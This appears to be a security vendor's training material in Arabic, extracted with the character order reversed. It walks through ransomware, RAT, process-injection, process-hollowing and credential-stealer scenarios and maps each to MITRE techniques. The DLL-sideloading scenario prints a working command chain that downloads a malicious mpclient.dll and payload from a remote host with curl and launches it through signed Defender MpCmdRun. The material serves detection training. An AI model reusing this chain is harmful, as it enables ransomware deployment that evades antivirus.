
DLL نقح - يبيردت ويرانيس
(Vanilla Ransomware) ةيداعلا ةيدفلا ةيجمرب - يبيردت ويرانيس
اًيمقر ةعّقوم ةيدف ةيجمرب - يبيردت ويرانيس
تانايبلا دادعت - يبيردت ويرانيس
تايلمعلا نقح - يبيردت ويرانيس
ةركاذلا ليدعت - يبيردت ويرانيس
ةيوهلا ةقرس - يبيردت ويرانيس
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Dll (Hive) نقح - بيردتلا تانايب

DLL نقح ربع ةرفشم (ريو موسنار) ةثيبخ ةيجمرب ةلومح ذفننس ،يبيردتلا ويرانيسلا اذه يف
،هئاشنإب مجاهم موقي دق امك ،صصخم DLL فلم ءاشنإ مت .اًيمقر عّقوملا MS Defender جمانرب يف
.هذيفنتو يمهو log. فلم ريفشت كفب موقي يذلاو

ناك اذإ اميس ال ،عّقوم بأ رصنع اهأدبي يتلا تايلمعلا ةطاسبب نامألا تاودأ نم ديدعلا لهاجتت
يف ةحومسم طقف تسيل Defender رماوأف .Defender صخأ لكشبو ،اًعّقوم تاسوريف داضم جمانرب
حالسك هلالغتسا متي يذلا رمألا ،انه .ةياغلل ةعفترم تايحالص تاذ نوكت ام اًبلاغ لب ،بلاغلا
نع ثحب ةيلمع يأ لبِق نم هلهاجت متيس لب ،اًعئاش طقف سيل رمأ وهو ،تاعيقوتلل ثيدحت وه
(living off the land) "ضرألا جراخ شيعلا" تاينقت عم ىتح هنأ انه حضون .ةثيبخلا تايجمربلا
يجمرب صن زيهجت لالخ نم ةعفترم تايحالص تاذ تالومح ذيفنت مجاهملل نكمي ،ةطيسبلا
.زاهجلا ىلع ةصصخم نقح تاودأ ىلإ ةجاحلا نود طيسب

ءيش يأ ثدحي ال هنأ ظحال .ةيحضلا زاهج ىلع هليغشت مت يذلا قيقدلا يجمربلا صنلا يلي اميف
زاربإل طقف متي زيهجت دلجم ىلإ ةيذيفنتلا Defender تافلم خسنف ،حيرص لكشب راض
C:\staging تافلم .يرذجلا ببسلا ليلحت يف 

:رطسب اًرطس رمألا ليصفت

1. زيهجتلا دلجم ءاشنإ
2. زيهجتلا دلجم ىلإ Defender خسن
3. يقيقحلا mpclient.dll فلم ةيمست ةداعإ
4. ديعب مداخ نم ثيبخلا DLL فلمو رفشملا "log" فلم ليزنت
5. تاعيقوتلا ثيدحت ةمهمب يقيقحلا عّقوملا MpCmdRun ذيفنت

??????? ?????? - ??? DLL

??? ????????

?????????

mkdir C:\staging

copy C:\Windows\WinSxS\amd64_windows-defender-

service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging

move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging

curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 

169.254.247.102:8000/mpclient.dll -outfile mpclient.dll

./MpCmdRun.exe -SignatureUpdate



MpCmdRun.exe

ةباجتسالا ةيلآلا 

نم اهتيؤر قبسي مل ةيلمع .كنهذ يف قدتس راذنإلا سارجأ نإف ،ةيلآلا ةباجتسالا نم ًةيادب
،كلذ عمو .ةعّقوم ريغ يهو Cyber Crucible تقلطأو اهذيفنت مت ،(GUID) اًيئاوشع اًمسا لمحت ،لبق
ـك اًدمع هكرت مت .رهاظلا يف قلقلل ةراثإ لقأ اًئيش نوكي نأ نكمي ناك انه راسملا نأ ظحال
C:\staging هزاربإل.

حجرملا نم .كانه ىلإ لصو فيك ةفرعمو فلملا كلذ ىلع روثعلا نوكتس ةيروفلا ةيلاتلا ةوطخلا
Cyber Crucible يف تايلمعلا ءاشنإ تالجس ىلإ عوجرلا اننكمي نكل ،اًيئاقلت هفذح مت هنأ
.لوألا ماقملا يف هليغشتب ماق نم ةفرعمل

?????? ????



Powershell → MpCmdRun → {7374F…}

ـل اًيذيفنت اًفلم powershell ةغلب يجمرب صن أدب ،هالعأ ويرانيسلا يف حضوم وه امك اًمامت
Defender، نم ديدعلا ةثيبخلا ةلومحلا تقلطأ مث .ةفيخملا انتيلمع قلطأ هرودب يذلاو
تايلمعلا هذه ىلع ةيؤرلا رفوت ام اًبلاغ .ةعونتم زيهجت ماهمب مايقلل ةيعرفلا تايلمعلا
مت يتلا لجسلا حيتافمو ،ماظنلا ىلع اهؤاشنإ مت يتلا تافلملا ىلع ةبقاث ةرظن ةيفلخلا
.كلذ ىلإ امو ،(worming) يتاذلا راشتنالا طاشنو ،اهليدعت

كولس ناك  ىقبيس  ريغ"  يئرم  الول " كلذ 



رمأ ةلصلا تاذ تايلمعلا ليلحت نكلو ،Cyber Crucible ةطساوب موجهلا ءاوتحا مت ،ةلحرملا هذه يف
اًرمأ هدحو عّقوملا ريغ يذيفنتلا فلملا ذيفنت ودبي دق .ةثيبخلا تايكولسلا قاطن ديدحتل مهم
تايلمعلا لهاجت ةطاسبب متي نايحألا نم ريثك يف نكلو ،Cyber Crucible هضرعي امدنع اًحضاو
.Defender لثم ةيامحو تايحالصب عتمتي جمانرب اهأدبي يتلا ةيفلخلا

Mitre T1543 - ةثيبخلا ةرفيشلا هيومت ىلإ ماظن ةيلمع ليدعت وأ ءاشنإ يدؤي نأ نكمي
.ةثيبخلا تايجمربلا نع فشكلا تاودأ مامأ ةقوثومو ةيداع ماظن ةيلمعك
Mitre T1068 - ةيجمربلا تارغثلا ربع تايحالصلا ديعصت ذيفنت حيتي نأ نكمي
.ةيضارتفالا تائيبلا نم وأ تايحالصلا دويق نم تالفإلا ةثيبخلا ةرفيشلل
Mitre T1055-001 - نقح مادختسا نكمي DLL امإ ،ام ةيلمع يف ةثيبخ ةرفيش ليمحتل
DLL فلم لادبتساب وأ ديدج DLL فلم ليمحتل ةطاسبب ةفدهتسملا ةيلمعلا هيجوتب
.هليمحت لبق يعرش
Mitre T1059-001 - ـب ةصاخلا ةثيبخلا تايجمربلا مدختست ام اًبلاغ Windows ةادأ
PowerShell ةيعرشلا تافلملا لادبتسا لثم ،ةثيبخلا تايجمربلا دادعإ ذيفنتل
.ةثيبخ تافلمب
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https://attack.mitre.org/techniques/T1543
https://attack.mitre.org/techniques/T1068
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(Hive) ةيداعلا ةيدفلا ةيجمرب - بيردتلا تانايب

تايحالصب لمعت ،"ةيداع" ةيدف ةيجمرب ةلومح ذيفنتب موقنس ،يبيردتلا ويرانيسلا اذه يف
ليزنتب موقي مدختسمل يساسألا لاثملا اذه يكاحي .لالغتسا تارغث يأ نود (admin) لوؤسملا
.كلذ ىلإ امو ،ةثيبخ USB ةركاذ وأ ،يلايتحا ديصت طبار ربع ةثيبخ ةيجمرب

موي ةرغث نع ةرابع ةلومحلا تناك اذإ هنأ الإ ،اًدج ةطيسب ذيفنت ةقيرط هذه نأ نم مغرلا ىلع
تاعيقوتلا ىلع ةمئاقلا نامألا تاجتنم لبق نم ةظوحلم ريغ لظتس اهنإف ،(zero day) يرفص
(signature based)، ةيكولسلا تاجتنملا نكمتت نأ لبق اهحالصإ نكمي ال اًرارضأ ببست دقو
.اهليلحت ةداعإ نم ةباحسلا ىلع ةمئاقلا

ةباجتسا ةيلآ 

هوبشملا فلملا مسا ةظحالم درجمب .تانيعلا عيمج نيب نم لهسألا وه ةثداحلا هذه ىلع فرعتلا
.ةيروف ةيريذحت ةمالع كلذ نوكي ،عيقوت نودب فلمل

??????? ?????? - ??????
?????? ??????? (Vanilla
Ransomware)

??? ????????

?????????

?????? ?????



لوح (process creations) تايلمعلا ءاشنإ تايلمع يف رظنلا اننكمي ،ذيفنتلا ةقيرط ديكأتل
!(script) يجمرب صن ىتح الو ،ةدقعم لالغتسا ةقيرط كانه نكت مل هنأ دكؤي هارن ام .ةثداحلا تقو
ىلع .مامتهالل ةريثم ةيعرفلا تايلمعلا ءاشنإ تايلمع نإف ،ىرخألا تانيعلا عم لاحلا وه امك
تايلمعلا نم ديدعلا نأ الإ ،ةحضاو تناك اهسفن ةثيبخلا ةيجمربلا ذيفنت ةقيرط نأ نم مغرلا
.ىرخألا ماظنلا تادادعإو ةيامحلا ليطعتل أدبُت ةيفلخلا يف



رمأ ةلصلا تاذ تايلمعلا ليلحت نكل ،Cyber Crucible ةطساوب موجهلا ءاوتحا مت ،ةلحرملا هذه يف
اًحضاو هدحو عّقوملا ريغ يذيفنتلا فلملا ذيفنت ودبي .ةثيبخلا تايكولسلا قاطن ديدحتل مهم
يتلا تايلمعلا لهاجت متي ،نايحألا نم ريثك يف نكلو ،Cyber Crucible ةطساوب هضرع متي امدنع
.ةطاسبب Defender لثم تايحالص وذو يمحم ءيش ةطساوب ةيفلخلا يف أدبت

Mitre T1566 - ءارجإ ذيفنت ىلإ هعفدل مدختسملا عادخل يلايتحالا ديصتلا مدختسُي دق
.رورم ةملك ةكراشم وأ يجمرب صن ليغشت لثم ،كلذ الول هب موقيل ناك ام
Mitre T1091 - ةلازإلل ةلباق طئاسو ىلإ اهسفن خسنب ةثيبخلا ةيجمربلا موقت دق
يئاقلتلا ليغشتلا ربع اهذيفنت اهب لصتي يذلا يلاتلا زاهجلل نكمي ثيحب
(autorun) ليغشتلا جمارب تارغث وأ.
Mitre T1204 - وه ،يلايتحالا ديصتلا ربع اًبلاغ بستكُي يذلا ،مدختسملا ذيفنت
.ليغشتلا يف ةثيبخلا ةيجمربلا اهب أدبت نأ نكمي ةقيرط طسبأ

??????? ??? ?????

https://attack.mitre.org/techniques/T1566
https://attack.mitre.org/techniques/T1091
https://attack.mitre.org/techniques/T1204


(Hive) اًيمقر ةعّقوم ةيدف ةيجمرب - ةيبيردت تانايب

،(admin) لوؤسملا تايحالصب لمعت ،ةيدف ةيجمرب ةلومح ذفننس ،يبيردتلا ويرانيسلا اذه يف
هنكل ،"ةيساسألا" ةنيعلا نع اًريثك ويرانيسلا اذه فلتخي ال .صصخم عيقوتب ةعّقومو
.اًعّقوم اًيذيفنت اًفلم مدختسي

تايجمربلا نأ حيحص .اًيئاقلت ةقوثوم اهنأ ىلع ةعّقوملا ةيذيفنتلا تافلملا لماعُت ام اًبلاغ
بجي ةدمتعملا انل يغبني الو ،هاجتالا ةيئانث ةقالع تسيل هذه نكل ،ةعّقوم اهلك نوكت نأ 
درجمل ءايشألاب قوثولا .نايحألا ضعب يف أطخلا اذه بكترُي ،فسألل .ةعّقوم اهنأ 

Cyber فرعي فيك ،بيردتلا ضارغأل ءيشلا ضعب بيرغ ةداهشلا هذه مسا نأ نع رظنلا فرصب
Crucible ىخوتي ؟ةقوثوم ريغ اهنأ Cyber Crucible نم (ةعومجم لكب ةصاخ) ةمئاقب ظفتحيو رذحلا
،ةيرابتخالا عيقوتلا تاداهش فاشتكا ةلوهسب اننكمي هنأ ينعي اذهو .ةقوثوملا تاداهشلا
.digicerts لثم ىربكلا (CAs) تاداهشلا رادصإ تاهج نم ةيمسرلا تاداهشلا ىلإ ةفاضإلاب

??????? ?????? - ?????? ????
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امبو .قوثوم ريغ لازي ال هنأ الإ ،عّقوم "…321d0" فلملا نأ نم مغرلا ىلع هنأ هالعأ ىرن نأ اننكمي
نيأ نم طبضلاب فرعن اننإف ،موجهلا رشنل تمدخُتسا ىرخأ ةدقعم ميتعت تاينقت دجوت ال هنأ
!ءاج

لوح (process creations) تايلمعلا ءاشنإ تايلمع يف رظنلا اننكمي ،ذيفنتلا ةقيرط نم دكأتلل
!(script) يجمرب صن ىتح الو ،ةدقعم لالغتسا ةقيرط كانه نكت مل هنأ دكؤي هارن ام .ةثداحلا تقو
ةريثم (child processes) ةيعرفلا تايلمعلا ءاشنإ تايلمع نإف ،ىرخألا تانيعلا عم لاحلا وه امك
لَّغشُت ،ةحضاو اهسفن ةثيبخلا ةيجمربلا ذيفنت ةقيرط نوك عم ىتحف .كلذ مغر مامتهالل
.ىرخألا ماظنلا تادادعإو ةيامحلا لّطعت يتلا ةيفلخلا يف تايلمعلا نم ديدعلا





تاذ تايلمعلا ليلحت نكل ،Cyber Crucible ةطساوب يوُتحا دق موجهلا نوكي ،ةلحرملا هذه يف
عّقوملا ريغ يذيفنتلا فلملا ذيفنت ودبي دق .ةثيبخلا تايكولسلا قاطن ديدحتل مهم ةلصلا
لهاجت متي نايحألا نم ريثك يف نكل ،لكشلا اذهب Cyber Crucible هضرعي امدنع اًحضاو هدحو
.ةطاسبب Defender لثم تايحالص يذو يمحم ءيش لبق نم ةيفلخلا يف لَّغشُت يتلا تايلمعلا

Mitre T1566 - يلايتحالا دّيصتلا مادختسا نكمي (Phishing) ام ءارجإ ءادأل مدختسملا عادخل
.رورم ةملك ةكراشم وأ يجمرب صن ليغشت لثم ،كلذ الول هب موقيل ناك
Mitre T1091 - ثيحب ةلازإلل ةلباق طئاسو ىلع اهسفن ةثيبخلا ةيجمربلا خسنت دق
وأ (autorun) يئاقلتلا ليغشتلا ربع اهذيفنت اهب لصتي يذلا يلاتلا زاهجلل نكمي
.(driver) ليغشتلا جمارب تارغث
Mitre T1204 - دّيصتلا ربع هيلع لوصحلا متي ام اًبلاغ يذلا ،مدختسملا ذيفنت
.اهذيفنت ةثيبخلا تايجمربلا اهب أدبت ةقيرط طسبأ وه ،يلايتحالا
Mitre T1587-002 - قيدصتلل ةنيعم ةهجل ةليسو يه ةيجمربلا ةرفيشلا عيقوت تاداهش
ةهج يأ نع ردصت ال ةداهش ةثيبخلا تايجمربلا ئشنُت دق .تاقيبطتلا دحأ ةرفيش ىلع
.ةيعرش اهنأ نظيف مدختسملا كبرُت دق اهنكل (certificate authority) تاداهش رادصإ
Mitre T1587-003 - تاداهش مدختسُت SSL ةئيب يف .قوثوم تانايبلا لقن نأ نامضل
اهب ةصاخ SSL ةداهش تيبثت نم ةثيبخلا ةيجمربلا نكمتت دق ،دادعإلا ةئيس
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https://attack.mitre.org/techniques/T1566
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.(man in the middle) طيسولا تامجه ليهستل



RAT (Quasar) ربع تانايب جارختسا - ةيبيردت تانايب

دادعتل همادختساو ،ةيحضلا زاهج ىلع RAT ليغشتب موقنس ،يبيردتلا ويرانيسلا اذه يف
.تافلملا جارختسا فدهب ،صرقلا ىلع ةدوجوملا تانايبلا

نمض جردنت RAT اهمدختسي يتلا تايكولسلا نأ الإ ،ةيدف موجه سيل اذه نأ نم مغرلا ىلع
ثداحلل ةباجتسالا ودبتو .Cyber Crucible اهفشتكي يتلا تانايبلا زازتبا تايكولس
ـل ةبسنلاب هنأل ،ةيدف ةلومحل ةباجتسالاب ةصاخلا كلتل اًدج ةهباشم ةلصلا تاذ تانايبلاو
Cyber Crucible، اهسفن ةقيرطلاب لماعُي كلذ لك!

تاباجتسا ىلإ يدؤيو system32 يف دوجوم هنكل ،ءيشلا ضعب اًبيرغ يذيفنتلا فلملا اذه ودبي
تاراسملا نع ثحبلاب ءدبلا اننكمي .انه ثدح ام ةفرعمل قيقحتلا نم ديزملا ءارجإ مزلي .ةرركتم
.ةباجتسالا راسمب ةطبترملا ةيعرفلا

??????? ?????? - ?????
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client-build.exe فلملا ليغشتب مدختسم ماق .ةصقلا حيضوتل ةلدألا نم ديزملا ىلع لصحن انه
ال .svchost ربع تازايتمالا ديعصتب موقي هنأ ودبي مث .RAT طاقسإ ةادأ وهو ،بتكملا حطس نم
ءيش درجم سيلو RAT وه اذه نأ فرعن فيك .كلذ عم ،ةيجحألا يف ةدوقفملا عطقلا ضعب كانه لازت
؟svchost عم لعافتي

اًطاشن كانه نأ نيقيلا هجو ىلع نآلا فرعن طقف نحن الف !ريثكب عسوأ ةيؤر انل حتفي اذه
ةيرارمتسا ةيلآ ءاشنإ متي هنأ اًضيأ فرعن لب ،هب ةطبترملا تاراسملاو ،يرجي اًهوبشم
(persistence). عم لماعتن اننأ اًضيأ ىرن لب Quasar، وهو RAT اًديج فورعم.

Quasar وه RAT مادختسا اًلضفم ،صاخلا يذيفنتلا هفلم لخاد نم هكولس مظعم ذفنيو ،روطتم
نم ديدعلل ةيضارتفالا Windows تاودأ مادختسا نم اًلدب هب ةصاخلا اًيتباث ةعَّمجُملا هتابتكم
.schtasks لثم تاودأل همادختسا دنع اًنايحأ طبضُي Quasar ىتح نكل .ماهملا

Mitre T1566 - ناك ام ءارجإ ذيفنتل مدختسملا عادخل يلايتحالا ديصتلا مدختسُي دق
.رورم ةملك ةكراشم وأ تبركس ليغشت لثم ،كلذ الول هب موقيل
Mitre T1091 - ةلازإلل ةلباق طئاسو ىلإ اهسفن خسنب ةثيبخلا ةيجمربلا موقت دق
وأ يئاقلتلا ليغشتلا ربع اهذيفنت اهب لصتي يذلا يلاتلا زاهجلل نكمي ثيحب
.ليغشتلا جمارب تارغث
Mitre T1204 - ديصتلا ربع هيلع لوصحلا متي ام اًبلاغ يذلا ،مدختسملا ذيفنت
.ةثيبخلا ةيجمربلا ذيفنت ءدبل ةقيرط طسبأ وه ،يلايتحالا
Mitre T1547 - ماظن ةثيبخلا ةيجمربلا هّجوت دق Windows دنع ةراض جمارب ذيفنتل
.مدختسملا لوخد ليجست دنع وأ عالقإلا
Mitre T1037 - ماظن ةثيبخلا ةيجمربلا هّجوت دق Windows دنع ةراض تاتبركس ذيفنتل
.مدختسملا لوخد ليجست دنع وأ عالقإلا
Mitre T1543 - ةرفيشلا ءافخإ ىلإ ةيماظن ةيلمع ليدعت وأ ءاشنإ يدؤي نأ نكمي
تايجمربلا فاشتكا نع اًديعب ،ةقوثومو ةيداع ةيماظن ةيلمع اهنأ ىلع ةثيبخلا
.ةثيبخلا
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(Hive) تايلمعلا نقح - بيردتلا تانايب

يف تايلمعلا نقح ربع ةيدفلا تايجمرب ةلومح ذيفنتب موقنس ،يبيردتلا ويرانيسلا اذه يف
ماظن ليغشت ةيلمع يه ةينعملا Svchost ةيلمع .لعفلاب ليغشتلا ديق Svchost.exe ةيلمع
.LocalSystem مدختسم باسح تحت لمعتو ،ةعّقومو ،ةليوط ةرتف ذنم لمعت ،ةيداع

Svchost خسن نم ديدعلا نأ نولوؤسملا ملعي .اهلهاجت متي ام اًبلاغف ،"ةيقيقح" Svchost نأل اًرظن
.اهرمأ كرتُيو "دوسأ قودنص" اهنأ ىلع لماعُت ،ةحيحص ودبت جمانربلا تاطيسو نأ املاطو ،لمعت
zero) رفص موي ةلومح عم بولسألا اذه جمد دنع .ةنصارقلا اهلغتسي ام اًبلاغو ،ةحضاو ةرغث هذه دعُت
day)، ةيدفلا تايجمرب تامجه ءافخإ يف اًدج اًحجان حبصي.
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ةهج تاهج)  عيقوت ( ةداهش   svchost.exe

تاطيسو ودبت .ىلوألا ةرظنلا دنع ةرشابم اًحضاو سيل ةيلآلا ةباجتسالا هذهب طيحملا عضولا
.Microsoft لبق نم عّقوم يذيفنتلا فلملاو ،Svchost ـل ةبسنلاب ةحلاص رماوألا رطس

.قيقحتلا نم اًديزم بلطتي هنكل ،ةبيرلل ريثم رمأ قوثوم ريغ ديعب (thread) طيخ دوجو ةقيقح
مدختسُت اهنأل "اًقوثوم" لظي اهمظعم نكل ،ماظنلا ىلع ةديعبلا طويخلا نم ديدعلا ثدحت
.كلذ ىلإ امو ،تانايبلا ةكراشمو ،تايلمعلا نيب يعيبطلا لصاوتلل

وه اذهف ،قوثوم ريغ هنأ ىلع مَّلعُيو ،ةيعيبط ريغ ةقيرطب ةيلمع لخاد ديعب طيخ أشنُي امدنع
.رثكأ هيف ققدن نأ بجي يذلا ناكملا

تايلمع نقح  ةئيرب  ثدحت  لكشب  يعيبط 

اننكمي ،نيعم تقو يأ يف ماظنلا ىلع ثدحت يتلا نقحلا تايلمع نم ريبكلا ددعلا زرفن يكل
ةعضبب أدبن ام ًةداع .ةمَّلعُملا ةيلمعلل (pid) ةيلمعلا فّرعمو ،ةثداحلا تقو نم لك ىلإ عوجرلا
لوصحلل ءاشنإلاو نقحلا ةلسلس يف دعصن مث ،ةهوبشملا تاباجتسالل (pid) تايلمع تافّرعم
.ةلماكلا ةصقلا ىلع



ةيفصت تايلمع  نقحلا  ريغ  تاذ  ةلصلا 

ليلدلا عطاقلا  !

يف سيل ديكأتلاب نكلو ،ةقيرطلا هذهب Svchost يف نقحي نأ دحأل يغبني ال هنأ لعفلاب ملعن
ةفرعمو "malware.exe" تناك ول امك ةيلمعلا هذه عم لماعتلا اننكمي اًدعاصف انه نم !ةيلمعلا هذه
.كلذ لعف دق مهدحأ نأ دب ال ذإ ،اهليغشتب ماق نم



تايلمع تأدب  فّرعمب  ةيلمعلا   (pid) 9168

قييضت اننكمي ،اًمامت ناتفلتخم امهو ،9168 (pid) ةيلمعلا فّرعمب ءاشنإ يتيلمع دوجول اًرظن
ةطساوب تئشنُأ اهنأ ىرنو ،ةيعرفلا ةيلمعلا راسم وأ/و ينمزلا عباطلا ىلع ًءانب ثحبلا قاطن
explorer.exe. رمألا نوكي نأ نكمي الو ،نقاحلا ةيلمع ليغشتب اًيودي ماق ام اًصخش نأ ينعي اذه
.ئطاخ لكشب اهفينصت مت Svchost كولس يف ةفداصم درجم

(Process Injection) تايلمعلا نقح
Mitre T1559 - تايلمعلا نيب لصاوتلا رفوي نأ نكمي (Inter-Process communication)
.نقحلا ةيلمع لامتكا درجمب نقاحلا لبق نم ةفدهتسملا ةيلمعلا ىلع ةرطيس
Mitre T1106 - ةيلصألا تاقيبطتلا ةجمرب تاهجاو نوكت ام اًبلاغ (Native APIs) برقأ
،تايلمعلا ليغشتو ،تافلملا ىلإ لوصولل ليغشتلا ماظن فئاظو ىلإ لوصولل ةليسو
.ديزملاو
Mitre T1569 - ةيلمع لثم ماظن ةمدخ يف نقحلا يدؤي نأ نكمي svchost هيومت ىلإ ةدوجوم
.ةقوثومو ةفورعم ةيلمع نم لمعت اهنأك اهنع غالبإلا متي ثيحب ةثيبخلا ةرفيشلا
Mitre T1055 - تايلمعلا نقح (Process injection)، ةثيبخ ةرفيش ليغشتل ًةداع مدختسُي
.رارمتسالاب ةيلصألا ةيلمعلل حامسلا عم ةفدهتسم ةيلمع لخاد
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SQL (Hive) ـل (Process Hollowing) تايلمعلا غيرفت - بيردتلا تانايب

غيرفت ةينقت ربع ةيدف جمارب ةلومح ذيفنتب موقنس ،يبيردتلا ويرانيسلا اذه يف
اهزمر لَّدعُي مث ام ةيلمع ليغشت متي ثيح برهت / نقح ةينقت يهو ،(process hollowing) تايلمعلا
.رخآ كولس ذيفنتل يذيفنتلا

عضو ىتح بعصألا نمو لب ،اًفاشتكا بيلاسألا بعصأ نم ةركاذلا لخاد ذيفنتلا بيلاسأ دعُت
.ريغتلا ةمئادو ةبلقتم اهتعيبطب ةركاذلاف .اهلهاجت متي ام اًريثك اذل ،اهل ةيلآ ةباجتسا
تاقوأ يف اهمييقتو ،ةلصلا تاذ ماسقألا ديدحت ام ةيلمع ةركاذ لخاد تارييغتلا دصر بلطتيو
.اهب ثبعلا مت دق ناك اذإ ام ةفرعمل ةيلمعلا ةايح ةرود نم ةفلتخم

نأ امبو .ديعب دح ىلإ صحفلا ثيح نم بعصألا ةركاذلا ليدعتب ةقلعتملا تاباجتسالا دعُت
.لانملا ةديعب اهؤاقبإ متي ام اًبلاغو "دوسأ قودنص"ـك لماعُت اهنإف ،اهتعيبطب ةلئاز ةركاذلا
عمج ىلع ةردقلا نآلا انيدل حبصأ ،Cyber Crucible 4.4.1.3 رادصإلا نم اًرابتعا هنأ وه راسلا ربخلاو
مت يتلا ةركاذلا تاقاطن ديدحتو ،ةلَّدعملا ةركاذلا تانيعل اًيئاقلت دعب نع سايقلا تانايب
.اهيلع تأرط يتلا ةقيقدلا تارييغتلاو ،اهليدعت

تاذ تايلمعلا صحف يه ةديجلا ىلوألا ةوطخلا نإف اذل ،ةياغلل قهرم ليلحتلا نم عونلا اذه نأ الإ
ةيلمعلا نأ امبو .اهب ةطبترملا تايكولسلا نع ةركف ىلع لوصحلل تامولعملا ةحول يف ةلصلا
ةيلمع هذه تناك اذإ ام ةعرسب حضتي نأ ضرتفملا نمف ،ةعّقوملا SQLCMD.exe يه انه رظنلا لحم
SQL كلذ نم أوسأ اًئيش مأ ةديمح.
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وأ ةبيرلا ريثي ام ةرورضلاب دجوي ال ،ةيداع SQL تايلمع درجم ،ماري ام ىلع ءيش لك نآلا ىتح
يف رثكأ قمعتن انوعد .ةيلآ تاباجتسا يف ةطروتم CMD رماوأ ةيؤر اًدبأ انبجعي ال ،كلذ عمو .اهمدع
.ثحبلا

ليلدلا عطاقلا  !

فلمف .ةهباشملا تايكولسلا نم ديزملاو ديزملا ةيؤرل ريرمتلا يف رارمتسالا اننكمي !اذ وه اهو
SQLCMD نأ نكمي ام لكو ،تادادعإلا رييغتو ،تامدخلا ليطعتل رماوألا عاونأ لك ذفني يذيفنتلا
.اًيقابتسا ةيدفلا جمارب هب موقت



ةركاذلا تاقورف ليلحتو قمعتلا يف أدبن امدنع انرظتني امع ةريغص ةركف حملن نأ اننكمي انه
(memory diffs). ةثيبخ ةيجمرب ذيفنتل يفكي امب ةروطتملا ةينقتلا بيلاسألا مظعمف



،ةبوعصلا غلاب اهليلحت لعجي اذهو .ةركاذلا لخاد اهزمر ميتعتب اًضيأ موقتس ةركاذلا لخاد ةلماك
فرعتلا يف ةريبكلا هتميق لعفلاب تبثأ ةيفاضإلا دعب نع سايقلا تانايب ىلإ لوصولا نكل
.تايكولسلا طبض يف كلذكو ،ثداوحلا ىلع

(Process Injection) تايلمعلا نقح
Mitre T1559 - تايلمعلا نيب لاصتالل نكمي (Inter-Process communication) حنمي نأ
.نقحلا ةيلمع لامتكا درجمب ةنقاحلا ةهجلا لبق نم ةفدهتسملا ةيلمعلا ىلع ةرطيسلا
Mitre T1106 - ةيلصألا تاقيبطتلا ةجمرب تاهجاو نوكت ام اًبلاغ (Native APIs) برقأ
ليغشتو ،تافلملا ىلإ لوصولا لجأ نم ليغشتلا ماظن فئاظو ىلإ لوصولل ةليسو
.كلذ ريغو ،تايلمعلا
Mitre T1569 - لثم ماظن ةمدخ يف نقحلل نكمي svchost زمرلا يفخُي نأ لعفلاب ةدوجوم 
.ةقوثومو ةفورعم ةيلمع نم لمعي هنأكو رهظي ثيحب ثيبخلا
Mitre T1055 - ةفدهتسم ةيلمع لخاد ثيبخ زمر ليغشتل ًةداع مدختسُيو ،تايلمعلا نقح
.رارمتسالاب ةيلصألا ةيلمعلل حامسلا عم
Mitre T1543 - ةيلمع هنأ ىلع ثيبخلا زمرلا يفخُي نأ ماظن ةيلمع ليدعت وأ ءاشنإل نكمي
.ةثيبخلا تايجمربلا نع فشكلا تاودأ نع اًديعب ،ةقوثومو ةيداع ماظن
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(Redline) ةيوهلا ةقرس - بيردتلا تانايب

(stealer) "ةقراسلا" عون نم ةثيبخ ةيجمرب ذيفنتب موقنس ،يبيردتلا ويرانيسلا اذه يف
ال ،RAT ويرانيس سكع ىلع .دامتعالا تانايب ةقرس يهو ،موجهلا نم ىلوألا ةلحرملا ذيفنتل
ءزج اذه ،كلذ نم ًالدب .ةيدفلا جمانرب اهمدختسي يتلا تايكولسلا سفن ويرانيسلا اذه مدختسي
.Cyber Crucible ىدل ةيمانتملا ةيوهلا ةيامح تاردق نم

ربع كرحتلا يه مجاهملا اهب موقي يتلا ىلوألا تاوطخلا نوكت ،هسفن زازتبالا ثودح لبقو اًبلاغ
نم اًجيزم اذه نوكي ،تالاحلا ضعب يف .دامتعالا تانايب نم نكمم ردق ربكأ ىلع لوصحلاو ةكبشلا
اهيلع لوصحلا متي API حيتافم نوكت ىرخأ تالاح يفو ،AD ـب صاخلا رورملا ةملك/مدختسملا مسا
.حفصتملا تاسلج نم

.لوؤسملل يعيبطلا ريغ لوصولا روهظ ةيفيك يف قمعتن انعد ،يلاحلا تقولا يف
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الف ،ام جمانرب ىلع نولوؤسملا فرعتي مل اذإف ،اًمامت ةحضاو ةيوهلا تانايب ىلإ لوصولا تايلمع
.ثدحي بيرم رمأك اًروف زربي اذه !تانايبلا كلت ىلإ لوصولا ةيناكمإ هل نوكي نأ يغبني

!(Plaintext) رفشم ريغ يداع صن ؟مجاهملا هاري يذلا رخآلا بناجلا وه ام



يهف اذل ،ةيديلقتلا تانايبلا زازتبا ثادحأب ةصاخلا تاباجتسالاك تسيل تاباجتسالا هذه
،(process injections) تايلمعلا نقحب هبشأ يهف ،كلذ نم ًالدب .ةيئاقلت فاقيإ تاءارجإ تسيل
لوصولا ودبي فيك انملعت ،انتاليلحت ومن عمو .اهقيرط يف اًقئاع Cyber Crucible فقت مل ثيح
،2023 ماع لولحب .تاقيبطتلا نم ةفلتخم عاونأل ةبسنلاب ةيوهلا نزاخم ىلإ "يعيبطلا"
ىلإ ،(kernel) ةاونلا ىوتسم ىلع ،لوصولا دّيقتس يتلاو ،انب ةصاخلا ةيامحلا ةزيم لّعفنس
.اهيلإ لوصولاب اهب ةطبترملا تايجمربلل الإ حمست نلو ةيوهلا تانايب دعاوق لاكشأ فلتخم

(Process Injection) تايلمعلا نقح
Mitre T1559 - تايلمعلا نيب لاصتالل نكمي (Inter-Process communication) ريفوت
.نقحلا ةيلمع لامتكا درجمب نقحلا ةهج لبق نم ةفدهتسملا ةيلمعلاب مكحتلا
Mitre T1106 - ةيلصألا تاقيبطتلا ةجمرب تاهجاو نوكت ام اًبلاغ (Native APIs) برقأ
تايلمعلا ليغشتو تافلملا ىلإ لوصولل ليغشتلا ماظن فئاظو ىلإ لوصولل ةليسو
.ديزملاو
Mitre T1569 - لثم ماظن ةمدخ يف نقحلا يدؤي نأ نكمي svchost ءافخإ ىلإ ةدوجوملا 
.ةقوثومو ةفورعم ةيلمع نم لمعت اهنأك اهنع غالبإلا متي ثيحب ةثيبخلا ةرفيشلا
Mitre T1055 - ةيلمع يف ةثيبخ ةرفيش ليغشتل ًةداع مدختسُي ،تايلمعلا نقح
.رارمتسالاب ةيلصألا ةيلمعلل حامسلا عم ةفدهتسم
Mitre T1543 - ةثيبخلا ةرفيشلا ءافخإ ىلإ ماظن ةيلمع ليدعت وأ ءاشنإ يدؤي نأ نكمي
